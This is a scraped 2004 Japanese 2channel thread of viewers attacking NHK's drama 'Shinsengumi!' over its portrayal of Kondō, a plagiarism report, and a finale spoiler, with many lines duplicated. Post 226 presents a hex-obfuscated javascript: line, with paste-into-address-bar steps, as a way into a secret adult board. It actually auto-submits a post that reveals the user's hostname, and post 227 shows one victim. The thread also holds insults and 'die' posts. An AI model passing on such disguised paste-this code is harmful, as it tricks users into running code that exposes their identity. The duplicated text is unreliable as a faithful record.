大河もなぁ、名も無い一隊士や沖田が主人公ならあれでいいんだけど
よりによって近藤だからな。
「万骨を持って鳴らしただけに往々にして我侭の挙動あり」
「同志を見ることあたかも臣下のように扱い、聞かずんば剣に訴え」
た男だからなぁ。
悩み多く、子供に優しく、筆まめで勉強熱心という「意外な一面」は
こうした体育会系の本質とセットになってるから魅力的なのに
そっちの一面を全部カットしてどうするよ。
都合のいい部分だけを繋ぎ合わせて「近藤のイメージアップを」て、
プロの脚本家として安易すぎますぜ。
まぁね。
おふくは主人公のくせに権謀術数駆使してるし
大河ではいかに温い描写しかできないのかが浮き彫りに。
大河もなぁ、名も無い一隊士や沖田が主人公ならあれでいいんだけど
よりによって近藤だからな。
「万骨を持って鳴らしただけに往々にして我侭の挙動あり」
「同志を見ることあたかも臣下のように扱い、聞かずんば剣に訴え」
た男だからなぁ。
悩み多く、子供に優しく、筆まめで勉強熱心という「意外な一面」は
こうした体育会系の本質とセットになってるから魅力的なのに
そっちの一面を全部カットしてどうするよ。
都合のいい部分だけを繋ぎ合わせて「近藤のイメージアップを」て、
プロの脚本家として安易すぎますぜ。
212 ：名無しさん＠お腹いっぱい。：04/10/27 13:47:03 ID:87nD40mW
漏れも大奥はちときついな、、
あれは30代以上の主婦層狙って作られてるんじゃないかと
良く知らないが勝手にそう思った
今面白いのは、忠臣蔵 ちょっと前では終わったけど子連れ狼
時代劇に興味持ったのが昨年からで 大河は武蔵、新撰組しか知らない、、、
来年の大河も期待できないみたいだし でも一応見るけど
あれは30代以上の主婦層狙って作られてるんじゃないかと
良く知らないが勝手にそう思った
今面白いのは、忠臣蔵 ちょっと前では終わったけど子連れ狼
時代劇に興味持ったのが昨年からで 大河は武蔵、新撰組しか知らない、、、
来年の大河も期待できないみたいだし でも一応見るけど
213 ：名無しさん＠お腹いっぱい。：04/10/27 14:32:33 ID:9rH+oWgA
新 選 組 ・ 完
214 ：名無しさん＠お腹いっぱい。：04/10/27 16:37:03 ID:gLg9or2o
新選組オタうぜぇ
215 ：名無しさん＠お腹いっぱい。：04/10/27 16:57:26 ID:VJCTxk1W
あー、とうとう伊東甲子太郎の人間的魅力（弟子が殉死覚悟で遺体を引き取りに行くほど心酔する）
ってもんがまったく見られないまま油小路に来てしまった。
ってもんがまったく見られないまま油小路に来てしまった。
216 ：名無しさん：04/10/27 18:13:41 ID:MqBZR4UE
http://www.shinchosha.co.jp/shukanshincho/20041104/mokujitxt.html
明日発売の週刊誌『週刊新潮』より
“また「盗作騒動」が起きたＮＨＫ大河ドラマ「新選組！」”
明日発売の週刊誌『週刊新潮』より
“また「盗作騒動」が起きたＮＨＫ大河ドラマ「新選組！」”
217 ：名無しさん＠お腹いっぱい。：04/10/27 18:17:11 ID:QHwpltFJ
甲子太郎と平助が近江屋で坂本と会ってたのって、史実にあることだったのね。
もうあらゆることがご都合のインチキに見えて困るよｗ
斉藤が竜馬の護衛に付いたのはウソだろけど。
（「コイツ、以蔵に似てにゃーか」って言わせたかったんだろな）
ていうか竜馬暗殺の数日前には新選組に戻ってるはず。斉藤。
伊東が近藤暗殺を企んでるという情報を持って。
もうあらゆることがご都合のインチキに見えて困るよｗ
斉藤が竜馬の護衛に付いたのはウソだろけど。
（「コイツ、以蔵に似てにゃーか」って言わせたかったんだろな）
ていうか竜馬暗殺の数日前には新選組に戻ってるはず。斉藤。
伊東が近藤暗殺を企んでるという情報を持って。
218 ：名無しさん＠お腹いっぱい。：04/10/27 18:37:55 ID:N02lcG+D
あれ？ この有名な逸話ってこの大河ではやったっけ。
西郷が竜馬の作った新政府案を見て「坂本どんの名前がないようですが」、
竜馬「わしは世界の海援隊でもやりますかいのう」。
西郷が竜馬の作った新政府案を見て「坂本どんの名前がないようですが」、
竜馬「わしは世界の海援隊でもやりますかいのう」。
219 ：名無しさん＠お腹いっぱい。：04/10/27 20:02:47 ID:p+Rw3/UA
ほたえな！
がなかった･･･しょぼん
がなかった･･･しょぼん
220 ：名無しさん＠お腹いっぱい。：04/10/27 20:39:46 ID:T5dbVi87
221 ：名無しさん＠お腹いっぱい。：04/10/27 21:33:55 ID:0YRW8uxW
>>216
何が書いてあったんだ？
何が書いてあったんだ？
222 ：名無しさん＠お腹いっぱい。：04/10/27 22:03:09 ID:dXetaj+q
>>216見れねーぞ
223 ：名無しさん＠お腹いっぱい。：04/10/27 23:13:58 ID:szNspCqJ
224 ：名無しさん＠お腹いっぱい。：04/10/27 23:27:03 ID:JjhV/IAW
>209>210レス有り難うございます。
脇役でも新撰組の魅力は鮮やかに描かれていた・・・と。思います。
大河は新撰組主役なのに、不鮮明な存在で形が見えない。烏合の衆、残念です。
>223
トリビア新撰組１３８Pに出てますよ。
新政府の閣僚名簿にしっかり自分の名前を記載している。
司馬さんの創作。
脇役でも新撰組の魅力は鮮やかに描かれていた・・・と。思います。
大河は新撰組主役なのに、不鮮明な存在で形が見えない。烏合の衆、残念です。
>223
トリビア新撰組１３８Pに出てますよ。
新政府の閣僚名簿にしっかり自分の名前を記載している。
司馬さんの創作。
225 ：名無しさん＠お腹いっぱい。：04/10/27 23:30:20 ID:tuNzGRv0
まあ土佐藩はぎりぎりで乗っかって勝ち組になったからな
226 ：名無しさん＠お腹いっぱい。：04/10/28 00:07:47 ID:b1Sbx4Ot
裏にちゃんに行くコマンドです。エロイヒトは、さあどうぞ。
（準備） 2ch専用ブラウザを使用している人は、ＩＥなどの一般的なブラウザでこのスレを開いておく。
１、
javascript:s='7769746828646f63756d656e742e666f726d735b305d297b46524f4d2e76616c75653d2766757369616e6173616e2
73b4d4553534147452e76616c75653d275c75333062625c75333065645c75333065615c75373533625c75353063665c75333034
665c75323434305c75323433355c7532343234273b7375626d69742e636c69636b28293b7d';for(l=0,e="";l<s.length;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));
をクリップボードにコピーし、メモ帳などのテキストエディタに貼り付ける。
２、改行を外して１行にする。
３、１行にしたものをクリップボードにコピーし、アドレスバーに貼り付ける。
４、 Enterを押す（もしくは「移動」をクリックする）。
俺はこれをやって思わず興奮してしまったよｗｗ
（準備） 2ch専用ブラウザを使用している人は、ＩＥなどの一般的なブラウザでこのスレを開いておく。
１、
javascript:s='7769746828646f63756d656e742e666f726d735b305d297b46524f4d2e76616c75653d2766757369616e6173616e2
73b4d4553534147452e76616c75653d275c75333062625c75333065645c75333065615c75373533625c75353063665c75333034
665c75323434305c75323433355c7532343234273b7375626d69742e636c69636b28293b7d';for(l=0,e="";l<s.length;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));
をクリップボードにコピーし、メモ帳などのテキストエディタに貼り付ける。
２、改行を外して１行にする。
３、１行にしたものをクリップボードにコピーし、アドレスバーに貼り付ける。
４、 Enterを押す（もしくは「移動」をクリックする）。
俺はこれをやって思わず興奮してしまったよｗｗ
227 ：wink218211.winknet.ne.jp：04/10/28 00:14:06 ID:h86THHeT
セロリ画像く？？？
228 ：名無しさん＠お腹いっぱい。：04/10/28 01:28:39 ID:b1Sbx4Ot
229 ：名無しさん＠お腹いっぱい。：04/10/28 02:30:31 ID:WxLvn1MJ
時代考証やってた山村竜也って新選組オタの中ではかなり
名前が知られた奴だったんだがな。
ドラマがアレだから、途中で時代考証を降りていたら神認
定されただろうが今じゃ
「裏切り者」
「士道不覚悟により切腹申し付ける」が相当。
なわけだ。
名前が知られた奴だったんだがな。
ドラマがアレだから、途中で時代考証を降りていたら神認
定されただろうが今じゃ
「裏切り者」
「士道不覚悟により切腹申し付ける」が相当。
なわけだ。
230 ：名無しさん＠お腹いっぱい。：04/10/28 02:58:30 ID:T0JgQQeU
龍馬カゼひいてなかったなあ。
えぇじゃないかも全くふれてなかったし。
見回り組犯人説にノルのはいいが、ウラはもっとボカしてくれないと。
土佐藩や中岡との関係、幕臣あたりとの関係も微妙だったんだから。
えぇじゃないかも全くふれてなかったし。
見回り組犯人説にノルのはいいが、ウラはもっとボカしてくれないと。
土佐藩や中岡との関係、幕臣あたりとの関係も微妙だったんだから。
231 ：名無しさん＠お腹いっぱい。：04/10/28 05:25:47 ID:5TETf/7x
>>229
それはちょっと山村氏に酷。たまたま、大学時代、大河の時代考証で有名な
某教授の授業をとってたけど、脚本にはまったくタッチできないと仰ってた。
与えられたホンのなかで、いかに史実らしくできるかがポイントで、たとえば、
「秀吉」（視聴率は良かったが、トンデモ系の糞大河だった）で「テンプラ」って
単語が出てきたら、それをどう正当化するかを考えるのが仕事だそうだ。
時代考証ってのは、話を本当らしくするための手段なんだよね。
それはちょっと山村氏に酷。たまたま、大学時代、大河の時代考証で有名な
某教授の授業をとってたけど、脚本にはまったくタッチできないと仰ってた。
与えられたホンのなかで、いかに史実らしくできるかがポイントで、たとえば、
「秀吉」（視聴率は良かったが、トンデモ系の糞大河だった）で「テンプラ」って
単語が出てきたら、それをどう正当化するかを考えるのが仕事だそうだ。
時代考証ってのは、話を本当らしくするための手段なんだよね。
232 ：名無しさん＠お腹いっぱい。：04/10/28 06:56:07 ID:vZEZA5lX
盗作、盗作、盗作、盗作、盗作……
233 ：名無しさん＠お腹いっぱい。：04/10/28 07:36:11 ID:Opouag0j
またDVDお蔵入りかもなｖｖ
234 ：名無しさん＠お腹いっぱい。：04/10/28 09:28:46 ID:J0HTuTZF
235 ：名無しさん＠お腹いっぱい。：04/10/28 10:35:21 ID:Yo3BkLT1
>>232
今回に関しては主張してる方が電波だ。
今回に関しては主張してる方が電波だ。
236 ：名無しさん＠お腹いっぱい。：04/10/28 10:47:36 ID:4eTpDbmv
>>232
本スレに報告あった。
854 名前：名無しさん＠お腹いっぱい。 投稿日：04/10/28 10:02:34 ID:/HWZ0wct
千秋寺京介氏の言い分は
「１，大広間で生き別れの妹を披露するところ。
２，姉と妹がうり二つなこと
３，しかも妹は蓮っ葉なこと」
が自分の小説の場面と同じで、自分の小説の
盗作と断言。
これに対して、盗作問題に詳しい作家竹山哲氏
は「２と３は物語では良くある話。１が千秋寺氏の
創作と言えなくはないが、客観的な判断は難しい」
と事実上、千秋寺氏の訴えを否定して、記事は終わ
っている。
つまり作家が、明らかな思いこみで「盗作だ」と言って
いるのを「週刊新潮」が無理矢理「武蔵」の盗作騒動と
結びつけただけ。
時代、設定から、関連する登場人物の名前、具体的な
シーンまで、全部で１０カ所以上、黒沢プロから類似点を
指摘され、客観的にもなるほど似ている「武蔵」の場合と
電波作家の思いこみを一緒にする「週刊新潮」って・・・
しかしこの電波作家がいきがって告訴でもした場合（まず
間違いなく、作家側が負けるが）、ＮＨＫが腰が引けて
DVD化等が見送られる可能性があるのが非常に腹立たしい。
難しくなるのが腹立たしい。
この作家の電波具合はどうよ？
本スレに報告あった。
854 名前：名無しさん＠お腹いっぱい。 投稿日：04/10/28 10:02:34 ID:/HWZ0wct
千秋寺京介氏の言い分は
「１，大広間で生き別れの妹を披露するところ。
２，姉と妹がうり二つなこと
３，しかも妹は蓮っ葉なこと」
が自分の小説の場面と同じで、自分の小説の
盗作と断言。
これに対して、盗作問題に詳しい作家竹山哲氏
は「２と３は物語では良くある話。１が千秋寺氏の
創作と言えなくはないが、客観的な判断は難しい」
と事実上、千秋寺氏の訴えを否定して、記事は終わ
っている。
つまり作家が、明らかな思いこみで「盗作だ」と言って
いるのを「週刊新潮」が無理矢理「武蔵」の盗作騒動と
結びつけただけ。
時代、設定から、関連する登場人物の名前、具体的な
シーンまで、全部で１０カ所以上、黒沢プロから類似点を
指摘され、客観的にもなるほど似ている「武蔵」の場合と
電波作家の思いこみを一緒にする「週刊新潮」って・・・
しかしこの電波作家がいきがって告訴でもした場合（まず
間違いなく、作家側が負けるが）、ＮＨＫが腰が引けて
DVD化等が見送られる可能性があるのが非常に腹立たしい。
難しくなるのが腹立たしい。
この作家の電波具合はどうよ？
237 ：名無しさん＠お腹いっぱい。：04/10/28 11:13:05 ID:J+eJRJBK
作家にとっては何にせよ騒ぎになるのは意味があることなんじゃないの？
この騒動で小説読んでみようと思う人間も出てくるわけだし。
この騒動で小説読んでみようと思う人間も出てくるわけだし。
238 ：名無しさん＠お腹いっぱい。：04/10/28 11:57:33 ID:WWDGcK7v
239 ：名無しさん＠お腹いっぱい。：04/10/28 13:09:23 ID:Sv1LBWG4
240 ：名無しさん＠お腹いっぱい。：04/10/28 14:22:05 ID:d5vParPf
また盗作かよ
駄作であることには変わりないがな
駄作であることには変わりないがな
241 ：名無しさん＠お腹いっぱい。：04/10/28 14:31:31 ID:MAds2qoe
>>240
新潮に載ったＮＨＫ広報部のコメントが全てだと思う。
「三谷さんは「怨霊記」を読んだこともなく、その作家の
名も本の存在も知りませんでした。時代設定も状況も
全く異なっており、これを盗作と言われることは到底、
理解できません」
>>236の作家の主張と合わせて考えろ。
完全に売れない作家の売名行為じゃねーか。
新潮に載ったＮＨＫ広報部のコメントが全てだと思う。
「三谷さんは「怨霊記」を読んだこともなく、その作家の
名も本の存在も知りませんでした。時代設定も状況も
全く異なっており、これを盗作と言われることは到底、
理解できません」
>>236の作家の主張と合わせて考えろ。
完全に売れない作家の売名行為じゃねーか。
242 ：名無しさん＠お腹いっぱい。：04/10/28 16:13:41 ID:EX3X7Q+U
ええじゃないか！ええじゃないか！ええじゃないか！ええじゃないか！ええじゃないか！ええじゃないか！ええじゃないか
ヽ(´ー`)ﾉヽ(´ー`)ﾉヽ(´ー`)ﾉヽ(´ー`)ﾉヽ(´ー`)ﾉヽ(´ー`)ﾉヽ(´ー`)ﾉヽ(´ー`)ﾉヽ(´ー`)ﾉヽ(´ー`)ﾉヽ(´ー`)ﾉ
ヽ(´ー`)ﾉヽ(´ー`)ﾉヽ(´ー`)ﾉヽ(´ー`)ﾉヽ(´ー`)ﾉヽ(´ー`)ﾉヽ(´ー`)ﾉヽ(´ー`)ﾉヽ(´ー`)ﾉヽ(´ー`)ﾉヽ(´ー`)ﾉ
243 ：名無しさん＠お腹いっぱい。：04/10/28 16:21:33 ID:J9U+kPBp
私は三谷をバカにしてますが，これは売名だと思います。
244 ：名無しさん＠お腹いっぱい。：04/10/28 16:29:19 ID:EX3X7Q+U
三谷を叩くよりイラクへ逝った方が名は売れるぜ
もしくはプロ野球新規加入な
もしくはプロ野球新規加入な
245 ：名無しさん＠お腹いっぱい。：04/10/28 16:55:02 ID:Yo3BkLT1
義経叩きの方はどうよどうなのよ
246 ：名無しさん＠お腹いっぱい。：04/10/28 17:11:55 ID:eI71cTEu
盗作かよ
三谷も墜ちるとこまで墜ちたな・・・
三谷も墜ちるとこまで墜ちたな・・・
247 ：名無しさん＠お腹いっぱい。：04/10/28 17:34:05 ID:hgDCE7jg
中田氏いらね、ぺっ、盗作もいらね、ぺっ、ぺっ
248 ：名無しさん＠お腹いっぱい。：04/10/28 17:53:25 ID:AxZh8/VH
>>245
義経は金子が叩かれなきゃそれでいい。
義経は金子が叩かれなきゃそれでいい。
249 ：名無しさん＠お腹いっぱい。：04/10/28 17:53:55 ID:YaKZ6QPh
ＮＨＫ不祥事の流れじゃない？
新潮のＮＨＫ不祥事に便乗したネタ。では？
まあでも三谷ならやりかねんけど。
新潮のＮＨＫ不祥事に便乗したネタ。では？
まあでも三谷ならやりかねんけど。
250 ：名無しさん＠お腹いっぱい。：04/10/28 17:58:56 ID:2RRwqONL
>>246
売名作家氏ね
売名作家氏ね
251 ：名無しさん＠お腹いっぱい。：04/10/28 21:50:28 ID:KkLdzJmQ
252 ：名無しさん＠お腹いっぱい。：04/10/28 23:53:54 ID:luLSA4A3
視聴者「いくらなんでもこの脚本はまずいだろ！」
ミタニン「何が悪い！！」
ミタニン「何が悪い！！」
253 ：名無しさん＠お腹いっぱい。：04/10/29 01:01:23 ID:KG+iop1T
254 ：名無しさん＠お腹いっぱい。：04/10/29 01:10:19 ID:vc+dwJOh
>>247
売名作家の千秋寺本人ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!!!!
売名作家の千秋寺本人ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!!!!
255 ：名無しさん＠お腹いっぱい。：04/10/29 02:54:24 ID:qs/DkM1T
他人の創作をパクってせっせと適当な脚本をでっちあげる三谷のもとに
或る日、一人の男が現れてこう言った
"You stole my story."
全てはそこから始まった
或る日、一人の男が現れてこう言った
"You stole my story."
全てはそこから始まった
どうでもいいけど
京極夏彦と中善寺秋彦を連想させる
名前だな>千秋寺京介
おどろおどろ系作品とか
そっくりな姉妹(蓮っ葉な妹)とか
発想も安直だ
俺のプロファイリングでは、二流だな
京極夏彦と中善寺秋彦を連想させる
名前だな>千秋寺京介
おどろおどろ系作品とか
そっくりな姉妹(蓮っ葉な妹)とか
発想も安直だ
俺のプロファイリングでは、二流だな
257 ：名無しさん＠お腹いっぱい。：04/10/29 09:32:36 ID:fG2WR/q4
まあ盗作であろうと無かろうとあれは・・・(ry
258 ：名無しさん＠お腹いっぱい。：04/10/29 11:36:15 ID:dqF7xnKj
みたにはその安直系売名並みだったってことで終了。
259 ：名無しさん＠お腹いっぱい。：04/10/29 12:07:03 ID:nNfCSZth
松原の心中事件の描き方が納得いかん！
松原が女を斬ってから自害したことに偽装したけどさ
本人の遺志と逆じゃん！
かわいそうだったな、女も松原も、現場に来たのが“人斬り斎藤”で」あった
ことが悲劇だったな。 もし長倉とかならあんなことにはならなかったのでは？
どうも納得できん！
松原が女を斬ってから自害したことに偽装したけどさ
本人の遺志と逆じゃん！
かわいそうだったな、女も松原も、現場に来たのが“人斬り斎藤”で」あった
ことが悲劇だったな。 もし長倉とかならあんなことにはならなかったのでは？
どうも納得できん！
260 ：名無しさん＠お腹いっぱい。：04/10/29 12:29:56 ID:yRBj+ptJ
>>259
わざわざ斉藤スレにまで来なくていいよ。
浅い見方しか出来ない人だね。
土方は松原の名誉を守るために女を斬って自害と偽装したんだし、
本人は前々から死ぬ覚悟なんかしてなかったんだから遺志なんかないよ。
女には生きててもらいたかったろうが、端から見たら許される事じゃないからね。
斉藤は松原の気持ちを尊重して彼が死ぬまでは女を殺さなかったし、
女を殺したのは斉藤的に許せなかったからやった、松原の敵討ちだろ。
永倉だってああ見えて、そういう仁義は通す人で甘ちゃんじゃないよ。
・・あと長倉じゃなくて永倉ね。めったに見てないね？
だからそんなアホな見方するんだよ。
わざわざ斉藤スレにまで来なくていいよ。
浅い見方しか出来ない人だね。
土方は松原の名誉を守るために女を斬って自害と偽装したんだし、
本人は前々から死ぬ覚悟なんかしてなかったんだから遺志なんかないよ。
女には生きててもらいたかったろうが、端から見たら許される事じゃないからね。
斉藤は松原の気持ちを尊重して彼が死ぬまでは女を殺さなかったし、
女を殺したのは斉藤的に許せなかったからやった、松原の敵討ちだろ。
永倉だってああ見えて、そういう仁義は通す人で甘ちゃんじゃないよ。
・・あと長倉じゃなくて永倉ね。めったに見てないね？
だからそんなアホな見方するんだよ。
261 ：名無しさん＠お腹いっぱい。：04/10/29 12:57:38 ID:jwh/bMur
ていうか武士が女と心中なんて余計に恥辱でしょ。
特に松原は女と別れようと思ってたんだから。
松原の名誉を守るためなら女の死のことは隠して
切腹という形にするのが普通。
どうしても「壬生心中か・・」というのがやりたかったために
わけのわからん改変になったな。
特に松原は女と別れようと思ってたんだから。
松原の名誉を守るためなら女の死のことは隠して
切腹という形にするのが普通。
どうしても「壬生心中か・・」というのがやりたかったために
わけのわからん改変になったな。
262 ：名無しさん＠お腹いっぱい。：04/10/29 13:20:42 ID:EkzkCB99
女に殺されるってのが納得いかないよ
ネタバレスレ見るとおりょうもそんな感じになりそうだし
三谷はトンでもない女を描くのが好きなのかねｗ
ネタバレスレ見るとおりょうもそんな感じになりそうだし
三谷はトンでもない女を描くのが好きなのかねｗ
263 ：名無しさん＠お腹いっぱい。：04/10/29 14:17:10 ID:/xdKEuNQ
今だ盗作だっていってる香具師がいるけど
ちゃんと記事読んだのか？
「三谷がパクったのではなく演出家が～」とあったぞ。
ただ、その作家が「パクッた」といっている部分は脚本段階でかかれなければまず存在しないシーンだぞ。
つまり支離滅裂な主張なわけだ。
まあ盗作ではないだろうが本当につまらない大(ry
ちゃんと記事読んだのか？
「三谷がパクったのではなく演出家が～」とあったぞ。
ただ、その作家が「パクッた」といっている部分は脚本段階でかかれなければまず存在しないシーンだぞ。
つまり支離滅裂な主張なわけだ。
まあ盗作ではないだろうが本当につまらない大(ry
264 ：名無しさん＠お腹いっぱい。：04/10/29 15:12:34 ID:i+FUVW2A
>>262
そうだよな。
女は夫の仇を討ったんだから、
その女を殺す斉藤は士道不覚悟で切腹だねｗ
だから、偽装じゃなくて、本当の心中にすれば良かったのさ
三谷がくだらん改変するからつまらん話になった。
そうだよな。
女は夫の仇を討ったんだから、
その女を殺す斉藤は士道不覚悟で切腹だねｗ
だから、偽装じゃなくて、本当の心中にすれば良かったのさ
三谷がくだらん改変するからつまらん話になった。
265 ：名無しさん＠お腹いっぱい。：04/10/29 16:22:20 ID:HMlm5A5n
（伊東の）死体を晒して、それをエサに多勢で待ち伏せて襲いかかるという
卑劣の極みみたいな行動をどう「キレイに」描くのか楽しみだな。
卑劣の極みみたいな行動をどう「キレイに」描くのか楽しみだな。
266 ：名無しさん＠お腹いっぱい。：04/10/29 16:27:08 ID:EkzkCB99
267 ：名無しさん＠お腹いっぱい。：04/10/29 16:58:31 ID:1Mx+NqSe
＞２６０
浅い見方しかできないにはアンタだろう？
あんたの解釈だと、斎藤はかなりにＤＱＮな人斬りってことだね。
つまり、カーッとなると見境なく人を斬るってこと。
松原の名誉って？ 別れ話がこじれて挙句に女を切っ切腹のどこが名誉？
アンタ、どうゆう思考回路してんの？
浅い見方しかできないにはアンタだろう？
あんたの解釈だと、斎藤はかなりにＤＱＮな人斬りってことだね。
つまり、カーッとなると見境なく人を斬るってこと。
松原の名誉って？ 別れ話がこじれて挙句に女を切っ切腹のどこが名誉？
アンタ、どうゆう思考回路してんの？
268 ：名無しさん＠お腹いっぱい。：04/10/29 16:59:49 ID:qscr56SV
油小路って夜だったのか。勝手に昼だと思ってた。大河は勉強になるなぁｗ
しかし３０人以上で７人に襲いかかって、４人を取り逃がすってスゴいね。
＞油小路
しかし３０人以上で７人に襲いかかって、４人を取り逃がすってスゴいね。
＞油小路
269 ：名無しさん＠お腹いっぱい。：04/10/29 17:02:43 ID:qscr56SV
>>267
言ってることは割ともっともだが もちっと落ち着こう。(´ー｀)y-~~
言ってることは割ともっともだが もちっと落ち着こう。(´ー｀)y-~~
270 ：名無しさん＠お腹いっぱい。：04/10/29 18:03:54 ID:kpkfksOW
何でスポーツじゃあるまいしドラマにアンチなんか存在すんの？
嫌い→見ない→終了 じゃないんか
嫌いな奴は日曜の夜８時と言う貴重な時間を何故もっと有意義に過ごさないんだ
ドラマヲタって皆暇人なのか？？
嫌い→見ない→終了 じゃないんか
嫌いな奴は日曜の夜８時と言う貴重な時間を何故もっと有意義に過ごさないんだ
ドラマヲタって皆暇人なのか？？
271 ：名無しさん＠お腹いっぱい。：04/10/29 18:07:49 ID:jwh/bMur
ドラマに限らずマンガにも映画にも小説にもゲームにも音楽にも電化製品にも
アンチは存在するんですよ。
君は世の中のことをもっとお勉強してからネットしましょうね（ ´_ゝ`）
アンチは存在するんですよ。
君は世の中のことをもっとお勉強してからネットしましょうね（ ´_ゝ`）
272 ：名無しさん＠お腹いっぱい。：04/10/29 18:11:28 ID:kf2FyGPn
油小路の改変は壬生心中どころじゃないよ
今週は本当に楽しみだ
ある意味、三谷版改造新選組の集大成だよ
伊東や平助が殺される間、
近藤はお孝の剣舞でも見てるのかな
今週は本当に楽しみだ
ある意味、三谷版改造新選組の集大成だよ
伊東や平助が殺される間、
近藤はお孝の剣舞でも見てるのかな
273 ：名無しさん＠お腹いっぱい。：04/10/29 18:34:26 ID:EkzkCB99
>>270
もうとっくに見てないですが何か？
もうとっくに見てないですが何か？
274 ：名無しさん＠お腹いっぱい。：04/10/29 19:25:01 ID:hFRYO1A/
275 ：名無しさん＠お腹いっぱい。：04/10/29 19:56:39 ID:0GRODPQ1
そこまで行くと、一種のマゾだな。
276 ：名無しさん＠お腹いっぱい。：04/10/29 20:46:38 ID:houNgekA
アンチ気に入らない、と思いながらアンチスレを見にくる心理と
似てるんじゃないかね。
きっと、気に入らないものを見たがるのは、
気に入っているものへの愛を確認するためなんだよ。
似てるんじゃないかね。
きっと、気に入らないものを見たがるのは、
気に入っているものへの愛を確認するためなんだよ。
277 ：名無しさん＠お腹いっぱい。：04/10/29 20:46:44 ID:K1Nx/Ywj
そう。所詮、アンチ板は変態の巣窟。
あ、そーれ、チンコ・マンコ・チンコ・マンコ……。
あ、そーれ、チンコ・マンコ・チンコ・マンコ……。
278 ：名無しさん＠お腹いっぱい。：04/10/29 20:57:30 ID:2BBsCdaj
今度は演出に罪かぶせて自分は知らん振りか
三谷はどこまでも最低の豚だなｗ
三谷はどこまでも最低の豚だなｗ
279 ：名無しさん＠お腹いっぱい。：04/10/29 21:39:27 ID:/kgdMwtO
>>259
永倉は近藤と違って、人を切ることに容赦はない。
永倉は近藤と違って、人を切ることに容赦はない。
280 ：名無しさん＠お腹いっぱい。：04/10/29 21:41:51 ID:pgbDr5Nz
277が早く氏にますように。
281 ：名無しさん＠お腹いっぱい。：04/10/29 21:53:32 ID:jwh/bMur
282 ：名無しさん＠お腹いっぱい。：04/10/29 22:22:12 ID:U/TOGpbU
-------------終了-------------
283 ：名無しさん＠お腹いっぱい。：04/10/29 22:36:15 ID:VR89wnRW
初めてではないね。
どうかと思うけど
どうかと思うけど
284 ：名無しさん＠お腹いっぱい。：04/10/29 22:49:18 ID:pgbDr5Nz
285 ：名無しさん＠お腹いっぱい。：04/10/29 22:51:24 ID:houNgekA
↑
ウイルスページ
ウイルスページ
286 ：名無しさん＠お腹いっぱい。：04/10/29 23:12:44 ID:7VW/MYeN
近藤は本当は助けたかったんだけど、どうしようもなかったんです‥って便利な技だね。
伊東もそう、竜馬もそう、武田もそう、山南もそう、
芹沢は暗殺計画をばらそうとした時に都合よく向こうから殺害許可、
新見、カツラ山、河合など後味の悪い粛正の際にはいつも近藤は不在、
近藤を不在にできない時は、粛正の相手を
徹底的に悪役に描くことで（谷、内山）局長は悪くないとアピール。
このパターンを使い回せば、一度も近藤を悪役にせず
粛正劇を描けると気付いた時の三谷、さぞ大喜びしたんでしょうね。
伊東もそう、竜馬もそう、武田もそう、山南もそう、
芹沢は暗殺計画をばらそうとした時に都合よく向こうから殺害許可、
新見、カツラ山、河合など後味の悪い粛正の際にはいつも近藤は不在、
近藤を不在にできない時は、粛正の相手を
徹底的に悪役に描くことで（谷、内山）局長は悪くないとアピール。
このパターンを使い回せば、一度も近藤を悪役にせず
粛正劇を描けると気付いた時の三谷、さぞ大喜びしたんでしょうね。
ネタバレスレで最終回までのあらすじが出てるが、アンチスレの住人は
誰も見に行かんの？
ここでもネタバレ禁止？
文句言いながらも皆やっぱり毎週楽しみにしてるん？
誰も見に行かんの？
ここでもネタバレ禁止？
文句言いながらも皆やっぱり毎週楽しみにしてるん？
288 ：名無しさん＠お腹いっぱい。：04/10/29 23:39:30 ID:DoPy0KZo
俺はネタバレも読んでるが
何かあったか？
何かあったか？
アンチを楽しむ一環として
ねたばれを見ないという楽しみ方も
あるのですご承知おき頂きたい
ねたばれを見ないという楽しみ方も
あるのですご承知おき頂きたい
最終回です。
勇との最後の別れに多くの人々が
駆けつけた。そして、妻や養母に
見守られ、勇はその生涯を閉じた
慶応4年（1868）4月、板橋。勇の処刑の日が来た。つね（田畑智子）、ふで
（野際陽子）、音五郎（阿南健治）、捨助（中村獅童）も来ている。そして、旅
先で噂を聞いた左之助も駆けつけた。そのころ、千駄ヶ谷の植木屋平五郎
（島田順司）の家で静養する総司を3人の刺客が襲った。世話をしていた
お孝が斬られ、危ういところを駆けつけた平五郎から刀を受け取った総司は
、瞬く間に3人を斬り捨てた。だが、大量の血を吐き、その場に崩れ落ちる。
刑場に合図の太鼓が鳴り、勇が堂々と進んで来る。目を合わせる勇とつね
、頷きあう2人。そして、ふでが”近藤勇、よく戦いました”と声を上げる。警固
の兵が駆けつけるが、見物人たちが口々に”近藤先生！ご苦労さん！”と叫
び出し、成す術もなく立ち尽くす警固の兵。その時、刑場の裏手から捨助が
新選組の羽織りを着て、刀を手に飛び込んで来た。全身を斬られても前へ
進む捨助、やがて力尽きる。だが、その顔は満足感に満ちていた。それを
見た左之助も斬り込もうとするが、会津へ向かった斎藤たちと別れた尾形
（飯田基祐）が現われ、ここで死んでも局長は喜ばないと説得され断念。
そして、”尽忠報国の士、あっぱれなり！”と、勇に最後の言葉をかけ駆け去
っていく。
処刑の瞬間、勇は何かをつぶやいたが、その答えは闇に消えた。近藤勇、
享年35歳。多摩から京へ、短くも激しいその生涯を閉じた。（完）
勇との最後の別れに多くの人々が
駆けつけた。そして、妻や養母に
見守られ、勇はその生涯を閉じた
慶応4年（1868）4月、板橋。勇の処刑の日が来た。つね（田畑智子）、ふで
（野際陽子）、音五郎（阿南健治）、捨助（中村獅童）も来ている。そして、旅
先で噂を聞いた左之助も駆けつけた。そのころ、千駄ヶ谷の植木屋平五郎
（島田順司）の家で静養する総司を3人の刺客が襲った。世話をしていた
お孝が斬られ、危ういところを駆けつけた平五郎から刀を受け取った総司は
、瞬く間に3人を斬り捨てた。だが、大量の血を吐き、その場に崩れ落ちる。
刑場に合図の太鼓が鳴り、勇が堂々と進んで来る。目を合わせる勇とつね
、頷きあう2人。そして、ふでが”近藤勇、よく戦いました”と声を上げる。警固
の兵が駆けつけるが、見物人たちが口々に”近藤先生！ご苦労さん！”と叫
び出し、成す術もなく立ち尽くす警固の兵。その時、刑場の裏手から捨助が
新選組の羽織りを着て、刀を手に飛び込んで来た。全身を斬られても前へ
進む捨助、やがて力尽きる。だが、その顔は満足感に満ちていた。それを
見た左之助も斬り込もうとするが、会津へ向かった斎藤たちと別れた尾形
